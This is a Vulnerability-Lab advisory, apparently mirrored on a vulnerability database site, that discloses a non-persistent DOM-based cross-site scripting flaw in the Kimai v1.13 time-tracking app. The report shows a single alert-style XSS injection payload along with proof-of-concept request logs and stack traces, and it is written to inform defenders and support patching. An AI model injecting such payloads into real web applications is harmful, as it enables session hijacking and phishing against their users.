Lucene search
K

Kimai v1.13 - (textarea) Cross Site Scripting Vulnerability

Kimai v1.13 web-app liable to non-persistent cross site scripting vulnerability affecting textarea value passed to jQuery.prepen

Code
Document Title:
===============
Kimai v1.13 - (textarea) Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2269


Release Date:
=============
2021-06-22


Vulnerability Laboratory ID (VL-ID):
====================================
2269


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Kimai is a time-tracking app with a long history. Its first version was released 2006. Why do we mention that? Because we have seen 
so many services come and go in the last decade - trust us when we say: we’ll stick around. We never made a living from Kimai, it’s 
the fun that keeps us motivated to improve Kimai. We believe that’s one of the main reasons for Kimai’s success.

(Copy of the Homepage: https://www.kimai.org/about/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a non-persistent cross site vulnerability in the official Kimai v1.13 time-tracking web-application.


Affected Product(s):
====================
Kevin Papst
Product: Kimai v1.13 - Tracking (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-04-08: Researcher Notification & Coordination (Security Researcher)
2021-**-**: Vendor Notification 1 (Security Department)
2021-**-**: Vendor Notification 2 (Security Department)
2021-**-**: Vendor Notification 3 (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-06-21: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A client-side cross site scripting vulnerability has been discovered in the official Kimai v1.13 time-tracking web-application.
DOM-based vulnerabilities occur when a client-side script reads data from a controllable part of the DOM (e.g., the URL) and 
processes that data in an insecure manner. Remote attackers are able to manipulate client-side requests to compromise user 
session data.

The dom-based cross site scripting web vulnerability is located were the data is read from textarea.value and passed to jQuery.prepend. 
Thus allows remote attackers to trigger a client-side attack to compromise user session credentials by injecting own malicious script code.
The attack vector of the vulnerability is non-persistent and the request method to inject is GET.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects 
to malicious source and non-persistent manipulation of affected application modules.

Vulnerable Module(s):
[+] textarea.value

Vulnerable Component(s):
[+] jQuery.prepend


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


Payload: "><img%20src="evil.source"%20onload=alert('TEST')%20>


--- PoC Session Logs ---
- Request
GET /en/timesheet/ HTTP/1.1
Host: kimai-trackingapp.localhost:8080
Cookie: PHPSESSID=2f15r16fi96hev2v43iill9mf9
Upgrade-Insecure-Requests: 1
Referer: https://kimai-trackingapp.localhost:8080/en/login
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Connection: close
Cache-Control: max-age=0
- Response
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: max-age=0, must-revalidate, private
Referrer-Policy: no-referrer, strict-origin-when-cross-origin
Content-Length: 52692


--- Stack Trace Session Logs ---
at HTMLTextAreaElement.get [as value] (<anonymous>:1:765266)
at new n (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:405040)
at HTMLInputElement.<anonymous> (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:433922)
at Function.each (https://kimai-trackingapp.localhost:8080/build/1.32489d92.js:1:3027)
at Object.each (https://kimai-trackingapp.localhost:8080/build/1.32489d92.js:1:1500)
at Object.e.fn.daterangepicker (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:433804)
at HTMLInputElement.<anonymous> (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:341154)
at Function.each (https://kimai-trackingapp.localhost:8080/build/1.32489d92.js:1:3027)
at Object.each (https://kimai-trackingapp.localhost:8080/build/1.32489d92.js:1:1500)
at a.value (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:340442)
at r.value (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:392765)
at r.value (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:337752)
at https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:401820
at Array.map (<anonymous>)
at new t (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:401801)
at n.<anonymous> (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:502615)
at new n (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:503585)
at https://kimai-trackingapp.localhost:8080/en/timesheet/:619:26
-
at Object.Lvttl (<anonymous>:1:919027)
at Object.plRon (<anonymous>:1:924704)
at Object.apply (<anonymous>:1:941551)
at new n (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:409239)
at HTMLInputElement.<anonymous> (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:433922)
at Function.each (https://kimai-trackingapp.localhost:8080/build/1.32489d92.js:1:3027)
at Object.each (https://kimai-trackingapp.localhost:8080/build/1.32489d92.js:1:1500)
at Object.e.fn.daterangepicker (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:433804)
at HTMLInputElement.<anonymous> (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:341154)
at Function.each (https://kimai-trackingapp.localhost:8080/build/1.32489d92.js:1:3027)
at Object.each (https://kimai-trackingapp.localhost:8080/build/1.32489d92.js:1:1500)
at a.value (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:340442)
at r.value (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:392765)
at r.value (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:337752)
at https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:401820
at Array.map (<anonymous>)
at new t (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:401801)
at n.<anonymous> (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:502615)
at new n (https://kimai-trackingapp.localhost:8080/build/app.19a715ed.js:1:503585)
at https://kimai-trackingapp.localhost:8080/en/timesheet/:619:26

Note: Inject a test payload via get method by load through the textarea.value using jQuery.prepend


Solution - Fix & Patch:
=======================
The vulnerability can be patched by an encode to sanitize in the textarea.value using jQuery.prepend.


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in the web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation